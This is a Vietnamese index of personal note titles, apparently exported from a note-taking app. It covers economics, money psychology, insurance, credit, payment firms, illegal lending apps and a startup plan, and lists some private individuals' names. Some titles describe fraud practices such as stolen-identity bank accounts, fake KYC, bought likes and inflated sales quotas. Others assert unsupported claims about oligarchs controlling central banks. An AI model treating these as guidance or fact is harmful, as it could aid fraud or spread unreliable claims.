bất bình đẳng xã hội từ việc thiếu để ý và quan tâm đến các công việc chăm sóc +• Slug: undefined +• ID: M +Nền kinh tế chăm sóc +• Slug: undefined +• ID: N +Sự khác biệt giữa nền kinh tế chăm sóc và các ngành dịch vụ là nó tập trung vào người yếu thế, và hệ thống hoá các khái niệm +• Slug: undefined +• ID: O +Tính trung bình, phụ nữ làm công việc chăm sóc không được trả lương nhiều hơn ít nhất hai lần rưỡi so với nam giới +• Slug: undefined +• ID: P +Với sự phát triển của AI, các ngành về chăm sóc sẽ trở thành lợi thế +• Slug: undefined +• ID: Q +Nền kinh tế hậu khan hiếm +• Slug: undefined +• ID: R +Nền kinh tế không dùng tiền +• Slug: undefined +• ID: S +Nền kinh tế phi chính thức bao gồm các hoạt động kinh tế không có đăng ký về mặt pháp lý, không có số liệu thống kê và không được kiểm soát bởi nhà nước +• Slug: undefined +• ID: T +Kinh tế số là kinh tế dữ liệu (data-driven economy) +• Slug: undefined +• ID: U +Ngân hàng trung ương quản lý được digital currency, nhưng không phải crypto +• Slug: undefined +• ID: V +Sự khác nhau giữa công nghệ thông tin và chuyển đổi số +• Slug: undefined +• ID: W +Tài chính phi tập trung +• Slug: undefined +• ID: X +❓Quyền riêng tư có phải là bất lợi với các doanh nghiệp nhỏ vì họ không có dữ liệu khách hàng, nhưng lại là lợi thế của doanh nghiệp lớn để họ độc quyền khai thác khách hàng đó? +• Slug: undefined +• ID: Y +Chi phí chuyển đổi sang năng lượng xanh không đơn giản +• Slug: undefined +• ID: Z +Các thảo luận về nền kinh tế xanh ít đề cập đến việc giảm tải áp lực cho mọi người +• Slug: undefined +• ID: a +Dần dần khái niệm kinh tế xanh được đánh đồng với tăng trưởng xanh +• Slug: undefined +• ID: b +Nền kinh tế xanh +• Slug: undefined +• ID: c +Rác thải nhựa từ một toà nhà vào buổi trưa là khổng lồ +• Slug: undefined +• ID: d +Để bắt kịp những công nghệ mới, thường 2 năm rà soát lại một lần +• Slug: undefined +• ID: e +The non-monetary economy, typically embedded in a monetary economy, undertakes tasks that benefit society (whether through producing services, products, or making investments) that the monetary economy does not value +• Slug: undefined +• ID: f +Tỉ lệ mua khi có ủng hộ giảm tăng vì người mua không muốn mình bị đánh giá là đứa tồi. Nhưng những người trả tiền trả nhiều tiền hơn hẳn +• Slug: undefined +• ID: g +Xu thế kinh tế mới +• Slug: undefined +• ID: h +Đi cùng với khái niệm bền vững là khan hiếm +• Slug: undefined +• ID: i +Chúng ta cần có tiền, nhưng không cần giàu có +• Slug: undefined +• ID: j +Chỉ khi có sự trao đổi thì giá cả mới xuất hiện +• Slug: undefined +• ID: k +Con người không giả định miễn phí là kém chất lượng với sản phẩm số +• Slug: undefined +• ID: l +Các từ ngữ do chủ nghĩa tân tự do sử dụng thường có tính che giấu nhiều hơn là được làm sáng tỏ +• Slug: undefined +• ID: m +Giá cao làm tăng kỳ vọng, nhưng không làm thay đổi cảm nhận về chất lượng +• Slug: undefined +• ID: n +Một công ty không có sản phẩm tốt nhưng tiếp thị tốt sẽ khiến người dùng không biết về sản phẩm tốt hơn +• Slug: undefined +• ID: o +Những gì “thị trường muốn” có xu hướng đồng nghĩa với những gì các doanh nghiệp và ông chủ của nó muốn +• Slug: undefined +• ID: p +Những sản phẩm quá mới mẻ khó theo hình thức trả giá tuỳ tâm được, vì người mua không có cách nào để đoán giá +• Slug: undefined +• ID: q +Những tài nguyên vô hạn sẽ làm những tài nguyên không vô hạn đi kèm với nó trở nên khan hiếm hơn +• Slug: undefined +• ID: r +Nền kinh tế thị trường khác với xã hội thị trường +• Slug: undefined +• ID: s +Sự hiệu quả của loại cạnh tranh tạo động lực cải tiến sản phẩm hoàn toàn phụ thuộc vào sự truyền miệng +• Slug: undefined +• ID: t +Sự hấp dẫn của tư duy thị trường ở chỗ nó không phán xét +• Slug: undefined +• ID: u +Thị trường không chỉ phân bố hàng hoá mà còn bộc lộ, khuyến khích con người có những thái độ nhất định với các loại hàng hoá +• Slug: undefined +• ID: v +Thị trường không định giá. Ta mới là người định giá +• Slug: undefined +• ID: w +Đôi khi, giá trị thị trường lấn át những giá trị phi thị trường đáng quan tâm +• Slug: undefined +• ID: x +Độc quyền, ngoại tác, hàng hoá công, thông tin bất cân xứng, mất cân bằng vĩ mô là các thất bại của thị trường +• Slug: undefined +• ID: y +❓Miễn phí, trả tuỳ tâm, tự định giá sức lao động +• Slug: undefined +• ID: z +Cảm giác mất mát là cảm giác tiêu cực +• Slug: undefined +• ID: - +Cảm giác đáp ứng nhu cầu người khác là cảm giác tích cực +• Slug: undefined +• ID: _ +Kinh tế học hành vi chủ yếu ứng dụng thiên kiến và suy luận tắt của con người vào kinh tế học, chứ chưa phải là toàn bộ tâm lý con người +• Slug: undefined +• ID: 10 +Nhu cầu rõ ràng về tiền làm nhức đầu tất cả các bên +• Slug: undefined +• ID: 11 +Ta muốn cái được phải chắc chắn, trong khi cái mất ta có thể mạo hiểm +• Slug: undefined +• ID: 12 +Tiền có nhiệm vụ làm trung gian cho việc trao đổi nhu cầu +• Slug: undefined +• ID: 13 +Tiền là một động lực ngoại sinh cực kỳ tốt +• Slug: undefined +• ID: 14 +Tiền làm người sở hữu tưởng rằng mình độc lập +• Slug: undefined +• ID: 15 +Tiền làm thay đổi mối quan hệ từ việc đáp ứng nhu cầu lẫn nhau sang trao đổi hàng hoá +• Slug: undefined +• ID: 16 +Tiền tạo cảm giác phải cạnh tranh để có tài nguyên hơn là hợp tác để có nhiều tài nguyên hơn +• Slug: undefined +• ID: 17 +Tiền tạo ra những cam kết phải đáp ứng mà nhiều khi mình không còn nhu cầu nữa +• Slug: undefined +• ID: 18 +Tiền đơn giản hoá quá trình đáp ứng nhu cầu +• Slug: undefined +• ID: 19 +Tiền được lưu ở dạng vật chất, nhưng nhu cầu là một trạng thái tinh thần +• Slug: undefined +• ID: 1A +Từ khi có tiền, chúng ta mới có sự cạnh tranh để đáp ứng nhu cầu người khác +• Slug: undefined +• ID: 1B +Việc bán hàng và việc đáp ứng nhu cầu người dùng không nhất thiết phải đi cùng với nhau +• Slug: undefined +• ID: 1C +Việc chia cổ phần làm ta chỉ còn chú ý vào động lực ngoại sinh +• Slug: undefined +• ID: 1D +Việc mất tiền làm tâm lý con người bị đau dù có thể nó vô lý +• Slug: undefined +• ID: 1E +❓Việc được tự định giá sức lao động của mình khiến người lao động cảm thấy công sức mình được công nhận xứng đáng +• Slug: undefined +• ID: 1F +Nhiều tiền hơn có làm tăng thêm hạnh phúc, nhưng việc có những mối quan hệ chất lượng đem lại nhiều hạnh phúc hơn +• Slug: undefined +• ID: 1G +Nền kinh tế không dùng tiền +• Slug: undefined +• ID: 1H +Nền kinh tế phi chính thức bao gồm các hoạt động kinh tế không có đăng ký về mặt pháp lý, không có số liệu thống kê và không được kiểm soát bởi nhà nước +• Slug: undefined +• ID: 1I +Nền kinh tế phi chính thức +• Slug: undefined +• ID: 1J +Bảo hộ thương mại +• Slug: undefined +• ID: 1K +Cái được đem ra toàn cầu hoá là luật +• Slug: undefined +• ID: 1L +GDP của VN tăng trưởng rất nhanh +• Slug: undefined +• ID: 1M +Nói về hội nhập kinh tế của Việt Nam có thể rất ngắn, chỉ cần 2 slide +• Slug: undefined +• ID: 1N +Phi toàn cầu hoá là khi người ta không quan tâm đến luật nữa +• Slug: undefined +• ID: 1O +Chiến tranh tiền tệ là một khái niệm không khoa học +• Slug: undefined +• ID: 1P +Các giáo trình kinh tế hiện nay tập trung vào các mô hình toán học chứ không phải là hành vi con người +• Slug: undefined +• ID: 1Q +Công việc thay đổi là vì những người xung quanh thay đổi, chứ không nhất thiết là vì có công nghệ mới +• Slug: undefined +• ID: 1R +Hệ thống tài phiệt nắm quyền qua các ngân hàng trung ương +• Slug: undefined +• ID: 1S +Lương nghĩa gốc là thức ăn +• Slug: undefined +• ID: 1T +Ngân hàng trung ương châu Âu nằm ở Đức +• Slug: undefined +• ID: 1U +Người Hy Lạp cổ duy trì chế độ nô lệ +• Slug: undefined +• ID: 1V +Người Hy Lạp cổ không tự hào về việc mình có việc làm +• Slug: undefined +• ID: 1W +Những người không cùng cộng đồng kinh tế thì đổi chác. Những người sống trong cùng một cộng đồng thì nhận nợ +• Slug: undefined +• ID: 1X +Nợ đã hiện hữu từ trước khi con người phát minh ra tiền bạc +• Slug: undefined +• ID: 1Y +Thời nông nghiệp, người giàu là người có nhiều ruộng đất. Thời công nghiệp, người giàu là người có nhiều nhà máy +• Slug: undefined +• ID: 1Z +Thời WW2 Thuỵ Sỹ trung lập được vì đó là nơi tích luỹ vàng của giới tài phiệt +• Slug: undefined +• ID: 1a +Trong một hợp đồng, không phải cái gì cũng mang tính chất hợp đồng +• Slug: undefined +• ID: 1b +Trong tiếng Anh, nghĩa gốc của amateur (nghiệp dư) là những người làm vì đam mê, chứ không phải là trình độ còn non +• Slug: undefined +• ID: 1c +Để xác định xem cái gì nên và không nên được mua bằng tiền, cần phải xác định được những giá trị nào chi phối các lĩnh vực khác nhau trong đời sống cá nhân và xã hội +• Slug: undefined +• ID: 1d +Chúng ta đi tìm hạnh phúc trên những máy chạy bộ +• Slug: undefined +• ID: 1e +Chuỗi kỹ năng mô tả những khoảnh khắc ý nghĩa xảy ra trong quá trình chơi trò chơi, chứ không chỉ là những cơ chế đơn thuần +• Slug: undefined +• ID: 1f +Chơi là sự thử nghiệm các kỹ năng mới học trong những môi trường mới +• Slug: undefined +• ID: 1g +Những game có yếu tố bản đồ mới là những game tạo thành một cộng đồng nhiều ý tưởng +• Slug: undefined +• ID: 1h +Những thứ lặp đi lặp lại có thể game hoá được +• Slug: undefined +• ID: 1i +Đa số các dự án game hoá chỉ tập trung vào cạnh tranh thi đua, chứ không tập trung vào bản đồ +• Slug: undefined +• ID: 1j +Người khác sẽ tham gia giúp đỡ khi họ thấy việc mình làm gần thoả mãn nhu cầu của họ +• Slug: undefined +• ID: 1k +Phản hồi và sự giúp đỡ trả lại là những thứ xa xỉ với người được giúp +• Slug: undefined +• ID: 1l +Sau khi nhu cầu được giải quyết xong ta sẽ nghĩ ngay tới việc giải quyết vấn đề tiếp theo +• Slug: undefined +• ID: 1m +Sự giúp đỡ người khác làm con người cảm thấy cuộc sống có ý nghĩa +• Slug: undefined +• ID: 1n +Sự hợp tác xã hội của ta hướng đến việc chia việc để cùng tạo ra sản phẩm chung, chứ không phải ở việc giúp đỡ qua lại +• Slug: undefined +• ID: 1o +Sự tập trung đòi hỏi người khác phải lo cho những nhu cầu khác của mình +• Slug: undefined +• ID: 1p +Trong quá trình tập trung, sự chăm lo của người khác với những nhu cầu khác của mình sẽ trở nên vô hình và cần trở nên vô hình +• Slug: undefined +• ID: 1q +Việc giúp đỡ người đã giúp mình không đủ khẩn cấp hoặc nhiều cảm hứng bằng việc giải quyết vấn đề tiếp theo, hoặc đủ cảm hứng bằng việc cải tiến giải pháp hiện có +• Slug: undefined +• ID: 1r +Con người chuyển từ kỹ năng này sang kỹ năng khác ngay cả khi họ chỉ có một khái niệm mơ hồ về đích đến cuối cùng +• Slug: undefined +• ID: 1s +Con người phản ứng mãnh liệt nhất khi bị đụng đến điểm đau +• Slug: undefined +• ID: 1t +Con người sẽ theo đuổi kỹ năng mới với giá trị tiềm năng trong phạm vi dự đoán +• Slug: undefined +• ID: 1u +Dopamine is released in anticipation of a reward +• Slug: undefined +• ID: 1v +Một tổ chức đáng làm tạo ra được động lực nội sinh ở nhân viên +• Slug: undefined +• ID: 1w +Những nhiệm vụ thách thức làm nhiều người thấy thú vị hơn +• Slug: undefined +• ID: 1x +Những thứ khẩn cấp thường không phải là những thứ thú vị +• Slug: undefined +• ID: 1y +Phần thưởng ngoại sinh làm tăng sự tập trung vào đích đến và giảm sự quan sát tới những thứ khác +• Slug: undefined +• ID: 1z +Sự cống hiến là một động lực nội sinh +• Slug: undefined +• ID: 1- +Sự hứng thú tạo ra sự tập trung +• Slug: undefined +• ID: 1_ +Thứ muốn làm bây giờ phụ thuộc vào cái mình đang nghĩ đến +• Slug: undefined +• ID: 20 +Việc mải mê làm việc đến quên cả đói cho thấy phần thưởng từ việc làm việc là đủ lớn hơn việc được ăn +• Slug: undefined +• ID: 21 +Việc nghĩ ra ý tưởng tốt hơn làm ta muốn theo đuổi nó hơn là làm tiếp thứ hiện tại +• Slug: undefined +• ID: 22 +Để tạo ra sự thú vị cần sự bất ngờ. Để tạo nên chuyên gia cần môi trường ổn định +• Slug: undefined +• ID: 23 +❓Tại sao một công việc có ý nghĩa là không đủ để một người quyết định sẽ làm +• Slug: undefined +• ID: 24 +Môi trường chuyên nghiệp tạo cảm giác tội lỗi khi thư giãn +• Slug: undefined +• ID: 25 +Sự chuyên nghiệp là việc ta tách bạch cuộc sống và công việc +• Slug: undefined +• ID: 26 +Việc làm việc tại nhà sẽ cho nhiều khoảnh khắc loé sáng ý tưởng hơn +• Slug: undefined +• ID: 27 +Việc thay đổi mối quan hệ từ người làm chủ – nhân viên sang nhà đầu tư – người sáng lập phù hợp hơn với những công việc đòi hỏi sự sáng tạo +• Slug: undefined +• ID: 28 +❓Tại sao tiền lại liên quan đến hệ thống cấp bậc +• Slug: undefined +• ID: 29 +Thang đo năng lực dựa trên việc có thể đưa ra phân tích và trực giác đúng hay không +• Slug: undefined +• ID: 2A +Tiền là cách để biến việc đáp ứng nhu cầu của người khác thành vấn đề cần giải quyết +• Slug: undefined +• ID: 2B +Khi làm xong một việc hiệu quả hơn, ít khi nào ta dùng thời gian rảnh để chơi, mà sẽ kiếm thêm việc để làm +• Slug: undefined +• ID: 2C +Những app quản lý công việc mang trong mình những giá trị văn hoá +• Slug: undefined +• ID: 2D +Những công việc chưa hoàn thành sẽ ám ảnh ta (hiệu ứng Zeigarnik) +• Slug: undefined +• ID: 2E +Những tác giả của những app quản lý công việc cũng cảm thấy app của họ không thể giúp quản lý công việc một cách hiệu quả được +• Slug: undefined +• ID: 2F +Nỗi ám ảnh với sự hiệu quả có thể đến từ nỗi sợ chết +• Slug: undefined +• ID: 2G +Sự chuyên môn hoá khiến ta không được tự đáp ứng nhu cầu của mình mà phải đáp ứng nhu cầu người khác để họ đáp ứng nhu cầu của mình +• Slug: undefined +• ID: 2H +Về mặt nhận thức, con người tương lai của chính mình không liên quan gì đến mình +• Slug: undefined +• ID: 2I +Các trang freelance toàn agency làm +• Slug: undefined +• ID: 2J +Mở quán mà dưới 100 khách một ngày là dẹp tiệm +• Slug: undefined +• ID: 2K +Buff like shopee phải có bình luận, hình ảnh với công là 5k +• Slug: undefined +• ID: 2L +Giá tài khoản ngân hàng được tạo từ thông tin đánh cắp được bán tuỳ vào mức độ quét +• Slug: undefined +• ID: 2M +Airdrop là việc nền tảng cho tiền để khuyến khích người dùng sử dụng và giới thiệu sản phẩm +• Slug: undefined +• ID: 2N +Content farm dùng để tăng SEO +• Slug: undefined +• ID: 2O +Dùng facebook của mình đăng kí hack like thì facebook của bạn sẽ được nhiều người like và ngược lại facebook của bạn cũng sẽ đi like facebook của người khác +• Slug: undefined +• ID: 2P +Kiếm tiền trực tuyến (MMO) +• Slug: undefined +• ID: 2Q +Phone farm dùng để tăng tương tác +• Slug: undefined +• ID: 2R +Via là tài khoản đã được xác thực +• Slug: undefined +• ID: 2S +Những bên cho vay lãi quá rẻ thực ra là để mình chịu làm kyc để người khác tạo tài khoản ảo bằng tên của mình +• Slug: undefined +• ID: 2T +Thông tin bán được sẽ được dùng để tạo tài khoản ngân hàng ảo +• Slug: undefined +• ID: 2U +Tiệm cầm đồ chỉ quan tâm cái căn cước là chính, chứ chẳng quan tâm mấy tới món đồ mình đem cầm +• Slug: undefined +• ID: 2V +Tài khoản ngân hàng ảo dùng được vài tiếng là vì kyc bằng AI +• Slug: undefined +• ID: 2W +Cái cần không phải là có tiền, mà là có dòng tiền +• Slug: undefined +• ID: 2X +Dòng tiền là bỏ ít công nhất có thể, thu lại đều đặn nhất có thể +• Slug: undefined +• ID: 2Y +Thu nhập thụ động là biết chắc chắn ngày nào mình nhận tiền với bao nhiêu tiền. Dòng tiền là không đảm bảo ngày nào tiền đi, ngày nào tiền về và bao nhiêu tiền +• Slug: undefined +• ID: 2Z +Đặc trưng của các dự án B2B là phải giao thiệp +• Slug: undefined +• ID: 2a +Đối với công ty, nhân viên có cộng tác viên riêng, nhân viên ảo, người đại diện nhóm, bán việc là những cái tên khác nhau cho cùng một thứ +• Slug: undefined +• ID: 2b +Bảo hiểm bắt buộc nhằm để bảo vệ lợi ích công cộng, môi trường, an toàn xã hội +• Slug: undefined +• ID: 2c +Chỉ có người thân mới được mua bảo hiểm cho nhau để tránh trường hợp trục lợi +• Slug: undefined +• ID: 2d +Các loại hình bảo hiểm nhân thọ +• Slug: undefined +• ID: 2e +Chính phủ thống nhất về quản lý nhà nước về kinh doanh bảo hiểm, và quy định về bảo hiểm bắt buộc. Bộ tài chính quản lý, giám sát, báo cáo về kinh doanh bảo hiểm, và quy định về mức hoa hồng tối đa của công ty +• Slug: undefined +• ID: 2f +Hình thức công ty +• Slug: undefined +• ID: 2g +Hình thức hợp đồng +• Slug: undefined +• ID: 2h +Người có quyền định đoạt hợp đồng không phải là người được bảo hiểm, mà là bên mua bảo hiểm +• Slug: undefined +• ID: 2i +Văn phòng đại diện không được phép kinh doanh, nhưng công ty mẹ ở nước ngoài vẫn bán được phi nhân thọ. Với nhân thọ thì phải lập chi nhánh ở VN để hiểu được tính chất con người ở đây +• Slug: undefined +• ID: 2j +Đại lý không liên quan gì đến hợp đồng, vì đó là giao kết giữa công ty và khách hàng +• Slug: undefined +• ID: 2k +Đại lý là đại diện của công ty và chỉ được làm một công ty. Môi giới là đại diện của bên mua và làm cho nhiều công ty khác nhau +• Slug: undefined +• ID: 2l +Luật nền là cơ sở xây dựng luật chuyên ngành. +• Slug: undefined +• ID: 2m +Bảo hiểm nhân thọ hoạt động bằng việc phân tán rủi ro +• Slug: undefined +• ID: 2n +Bồi thường là trả tiền trên hoá đơn thực tế. Khoán là do người mua tự nhận định giá của mạng của mình ngay từ đầu +• Slug: undefined +• ID: 2o +Con người, tài sản và trách nhiệm dân sự là những đối tượng bảo hiểm +• Slug: undefined +• ID: 2p +Các các nguyên tắc hoạt động +• Slug: undefined +• ID: 2q +Hợp đồng bảo hiểm phi nhân thọ hoặc sức khoẻ chỉ kéo dài tối đa 1 năm +• Slug: undefined +• ID: 2r +Thời gian chờ là để tránh trục lợi bảo hiểm +• Slug: undefined +• ID: 2s +Để một rủi ro được bảo hiểm, nó cần ngẫu nhiên, định lượng bằng tiền được và có số lớn +• Slug: undefined +• ID: 2t +Phí ban đầu dùng để trả cho việc bán hàng +• Slug: undefined +• ID: 2u +Quỹ liên kết chung là tổng các giá trị tài khoản của tất cả người tham gia +• Slug: undefined +• ID: 2v +Tiền bảo hiểm được trả từ quỹ dự phòng rủi ro +• Slug: undefined +• ID: 2w +Tiền từ người mua hợp đồng được đưa và quỹ dự trù tài chính và quỹ dự trù rủi ro +• Slug: undefined +• ID: 2x +Vốn pháp định là do pháp luật quy định, vốn điều lệ là do thành viên góp vào +• Slug: undefined +• ID: 2y +Các công ty tài chính đa phần đều thiên về lương khoán +• Slug: undefined +• ID: 2z +Khác biệt giữa nhân viên, đại lý, cộng tác viên +• Slug: undefined +• ID: 2- +Dùng loa thông báo sẽ đỡ phải kiểm tra xem tiền khách chuyển vào có tới được chưa +• Slug: undefined +• ID: 2_ +GMV là tổng số tiền cửa hàng bán được trong tháng +• Slug: undefined +• ID: 30 +ASM không có lợi ích gì trong việc phát hiện nhân viên có chạy ảo hay không +• Slug: undefined +• ID: 31 +ASM +• Slug: undefined +• ID: 32 +KPI của ASM là trung bình cộng KPI của nhóm +• Slug: undefined +• ID: 33 +Việc giám sát không trực tiếp đem lại KPI cho ASM +• Slug: undefined +• ID: 34 +Công ty không quan tâm dữ liệu cửa hàng do nhân viên gửi về có bị trùng lặp hay không +• Slug: undefined +• ID: 35 +Nhà đầu tư cho các công ty tài chính cần tiền được lưu thông +• Slug: undefined +• ID: 36 +RSM chỉ gây áp lực mồm cho ASM về việc ngăn nhân viên chạy ảo, chứ không gây áp lực qua KPI +• Slug: undefined +• ID: 37 +RSM và nhà đầu tư +• Slug: undefined +• ID: 38 +Một giao dịch khi quẹt qua trung gian thanh toán sẽ trở thành một giao dịch mua hàng sạch trong mắt ngân hàng +• Slug: undefined +• ID: 39 +QR thì thu ngân dùng là chính. SPOS chủ dùng là chính +• Slug: undefined +• ID: 3A +90% người bán hàng ở Momo là cộng tác viên, ko phải nhân viên +• Slug: undefined +• ID: 3B +Máy POS của Smartpay quẹt mỗi tháng hơn 30tr thì không mất phí +• Slug: undefined +• ID: 3C +Smartpay chỉ quan tâm điểm mở mới, không áp GMV hoặc giao dịch +• Slug: undefined +• ID: 3D +SmartPay làm nhiều lĩnh vực +• Slug: undefined +• ID: 3E +Sự khác biệt giữa các công ty trung gian thanh toán +• Slug: undefined +• ID: 3F +Untitled +• Slug: undefined +• ID: 3G +VNPAY dùng GMV và active để hạn chế chạy ảo +• Slug: undefined +• ID: 3H +VNPAY tập trung vào những cửa hàng lớn đủ để có nhu cầu dùng máy POS +• Slug: undefined +• ID: 3I +Trả tiền bằng mã QR có lợi nếu cần bán tốc độ +• Slug: undefined +• ID: 3J +Tỉ lệ sử dụng tiền mặt ở VN khoảng 12% +• Slug: undefined +• ID: 3K +Cho mượn theo nhóm đảm bảo không bị quịt hơn +• Slug: undefined +• ID: 3L +Chỉ có người thân được bảo lãnh, chứ bạn bè thì không +• Slug: undefined +• ID: 3M +Bên cho vay sẽ có bảo hiểm cho vay +• Slug: undefined +• ID: 3N +Cho vay ngang hàng kết nối trực tiếp người đi vay với người cho vay mà không thông qua các tổ chức trung gian tài chính +• Slug: undefined +• ID: 3O +Các tài sản hay bảo hiểm chỉ là phụ thêm để tăng khả năng được duyệt, chứ hạn mức tiền vay thì đã được cố định sẵn +• Slug: undefined +• ID: 3P +Muốn trả nợ trước hạn cũng phải mất phí +• Slug: undefined +• ID: 3Q +Rất nhiều các công ty cho vay lấy dữ liệu từ Viettel +• Slug: undefined +• ID: 3R +Thẻ tín dụng yêu cầu phải có thu nhập. Mua trước trả sau thì không +• Slug: undefined +• ID: 3S +Việc tạo tài khoản mới ở các app cho vay tiền thực ra không quan trọng, vì dữ liệu đã được chia sẻ hết rồi +• Slug: undefined +• ID: 3T +App đen có người trong các công ty viễn thông nên biết được sim đã xài trong bao lâu +• Slug: undefined +• ID: 3U +App đen thực chất là mấy thằng trung quốc đặt sever bên Campuchia với Lào ép về cho vay +• Slug: undefined +• ID: 3V +App đen, vay nóng là những cái tên cho cùng một thứ +• Slug: undefined +• ID: 3W +DoctorDong là bên mở màng cho thị trường này tại Việt Nam. Bây giờ là Cayvang +• Slug: undefined +• ID: 3X +Vay nóng nếu không trả sẽ bị bêu xấu với mọi người +• Slug: undefined +• ID: 3Y +Các công ty con cho vay từ các ngân hàng lớn là để lách giới hạn lãi suất +• Slug: undefined +• ID: 3Z +Có những người dù thực sự thấy không có khả năng trả nợ vẫn chấp nhận vay app đen còn hơn mất điểm tín dụng +• Slug: undefined +• ID: 3a +Debit nghĩa là ngân hàng nợ mình, credit là mình nợ ngân hàng +• Slug: undefined +• ID: 3b +Hạn mức và lãi suất không liên quan tới hộ khẩu +• Slug: undefined +• ID: 3c +Ngân hàng chỉ cần đất, sổ tiết kiệm hoặc ô tô, chứ mấy cái nhỏ sẽ từ chối +• Slug: undefined +• ID: 3d +Ngân hàng cấp tín dụng bằng việc nhìn số tài khoản vào cuối ngày +• Slug: undefined +• ID: 3e +Ngân hàng không nghi ngờ mình đáo vì ngân hàng thích cho mình nợ hơn là cho mình tiền +• Slug: undefined +• ID: 3f +Ngân hàng lớn ưu tiên cho vay doanh nghiệp, ngân hàng nhỏ khó cạnh tranh thì cho vay cá nhân +• Slug: undefined +• ID: 3g +Ngân hàng ngại CIC có dính đến tín dụng ngoài hoặc ví trả sau, kể cả khi chưa quá hạn +• Slug: undefined +• ID: 3h +Người dùng thẻ thường xuyên sẽ ghi được nhiều điểm CIC +• Slug: undefined +• ID: 3i +Rút tiền mặt tại cửa hàng là bị cấm +• Slug: undefined +• ID: 3j +Sử dụng tín dụng sẽ khuyến khích mình chi tiêu rất nhiều +• Slug: undefined +• ID: 3k +Thẻ tín dụng và ví trả sau đều là các hình thức cấp tín dụng +• Slug: undefined +• ID: 3l +Điểm tín dụng (CIC) là cách để các ngân hàng đánh giá khả năng trả nợ của mình +• Slug: undefined +• ID: 3m +Điểm tín dụng +• Slug: undefined +• ID: 3n +Vay tiền +• Slug: undefined +• ID: 3o +Có những lúc đầu tư vào một người để họ tạo ra sản phẩm của họ sẽ đem lại nhiều lợi nhuận hơn trả lương cho họ để họ làm cho sản phẩm của mình +• Slug: undefined +• ID: 3p +Đầu tư thì có khả năng mất trắng. Còn kinh doanh thì có thể lỗ nhưng không đến nỗi mất trắng +• Slug: undefined +• ID: 3q +Việc tham gia vào nền kinh tế quà tặng sẽ giúp xây dựng thương hiệu +• Slug: undefined +• ID: 3r +Bán hàng bằng sự sợ hãi, nhưng lại xem đó là giọt mồ hôi quý giá +• Slug: undefined +• ID: 3s +Con người hay công cụ mới là vấn đề +• Slug: undefined +• ID: 3t +Lách luật là phạm luật một cách đúng luật +• Slug: undefined +• ID: 3u +Người bán hàng giống như giao diện giọng nói của một cái máy hơn là một con người thật +• Slug: undefined +• ID: 3v +Thấy việc trả lương là đã đủ để NV phải cống hiến cho mình +• Slug: undefined +• ID: 3w +Tài nguyên +• Slug: undefined +• ID: 3x +Việc khai thác điểm yếu của con người đem lại lợi nhuận +• Slug: undefined +• ID: 3y +App đen +• Slug: undefined +• ID: 3z +Bảo hiểm +• Slug: undefined +• ID: 3- +Luật +• Slug: undefined +• ID: 3_ +Mua trước trả sau +• Slug: undefined +• ID: 40 +Quỹ +• Slug: undefined +• ID: 41 +Thu nhập +• Slug: undefined +• ID: 42 +Thẻ tín dụng +• Slug: undefined +• ID: 43 +Chạy chỉ tiêu cho nhân viên các công ty +• Slug: undefined +• ID: 44 +Ghi chú về các app ngân hàng +• Slug: undefined +• ID: 45 +Mẫu CV ảo +• Slug: undefined +• ID: 46 +Nói mình là nhân viên Momo nhưng gắn mã công ty khác sẽ dễ hơn +• Slug: undefined +• ID: 47 +Script +• Slug: undefined +• ID: 48 +Xử lý tình huống, câu hỏi thường gặp +• Slug: undefined +• ID: 49 +Bản câu hỏi cho người cần được hỗ trợ thoát nợ +• Slug: undefined +• ID: 4A +Huy động nguồn tiền nhàn rỗi +• Slug: undefined +• ID: 4B +Thương lượng với chủ nợ +• Slug: undefined +• ID: 4C +Tìm nguồn cho mượn 100tr qua đêm, sáng hôm sau trả lại, liên tục vài tháng +• Slug: undefined +• ID: 4D +Đứng ra vay giùm +• Slug: undefined +• ID: 4E +Kendy cần gì? +• Slug: undefined +• ID: 4F +Từ việc hỗ trợ Kendy đến Patreon và tâm lý của con người về tiền +• Slug: undefined +• ID: 4G +1 +• Slug: undefined +• ID: 4H +Xù nợ +• Slug: undefined +• ID: 4I +Hồng Thị Tuyết Nhi +• Slug: undefined +• ID: 4J +Nguyễn Hữu Lộc +• Slug: undefined +• ID: 4K +Chương trình quản lý chi tiêu cá nhân +• Slug: undefined +• ID: 4L +Tiềm năng thị trường +• Slug: undefined +• ID: 4M +Hướng phát triển +• Slug: undefined +• ID: 4N +Đặc tả yêu cầu cho webapp +• Slug: undefined +• ID: 4O +Giả thiết về giá trị của Trấn Kỳ +• Slug: undefined +• ID: 4P +Bài giới thiệu Trấn Kỳ được nhiều người chia sẻ +• Slug: undefined +• ID: 4Q +Giả thiết về khả năng vận hành Trấn Kỳ +• Slug: undefined +• ID: 4R +Cứ 13 reach thì có 1 link click +• Slug: undefined +• ID: 4S +Cứ 20 người học thì có 500k +• Slug: undefined +• ID: 4T +Cách các công ty nhập liệu hoạt động +• Slug: undefined +• ID: 4U +Giả thiết về thị trường của nền kinh tế phi chính thức +• Slug: undefined +• ID: 4V +Thị trường phần mềm hạch toán tự động +• Slug: undefined +• ID: 4W +Giả thiết về thái độ người dùng +• Slug: undefined +• ID: 4X +Giả thiết về tiếp nhận của người đọc +• Slug: undefined +• ID: 4Y +Lợi nhuận mỗi tuần 2tr5 +• Slug: undefined +• ID: 4Z +Mỗi tháng có lợi nhuận 10tr để trả lãi cho Trí +• Slug: undefined +• ID: 4a +Mỗi tuần có 10 người tham gia phát triển Trấn Kỳ +• Slug: undefined +• ID: 4b +Mỗi tuần có 20 người nhắn tin trên thread Trấn Kỳ trên Discord Quả Cầu +• Slug: undefined +• ID: 4c +Mỗi tuần có 300 người vào trang giới thiệu Trấn Kỳ +• Slug: undefined +• ID: 4d +Mỗi tuần tiếp cận được 4000 người +• Slug: undefined +• ID: 4e +Một khoản đầu tư 120tr cho 3 tháng +• Slug: undefined +• ID: 4f +4 Thành phẩm +• Slug: undefined +• ID: 4g +Kế hoạch phát triển Trấn Kỳ +• Slug: undefined +• ID: 4h +Tiêu chí làm việc và ra quyết định +• Slug: undefined +• ID: 4i +27-11-2023 +• Slug: undefined +• ID: 4j +Kế hoạch bán cho người cần có sự kỷ luật tài chính +• Slug: undefined +• ID: 4k +Kế hoạch xây dựng cộng đồng phát triển Trấn Kỳ +• Slug: undefined +• ID: 4l +Kế hoạch +• Slug: undefined +• ID: 4m +Untitled +• Slug: undefined +• ID: 4n +Câu hỏi khảo sát +• Slug: undefined +• ID: 4o +Câu hỏi phỏng vấn +• Slug: undefined +• ID: 4p +Duy Phong +• Slug: undefined +• ID: 4q +Nguyễn Hữu Quý Ngân +• Slug: undefined +• ID: 4r +Nguyễn Khánh Huyền +• Slug: undefined +• ID: 4s +Trần Hoà +• Slug: undefined +• 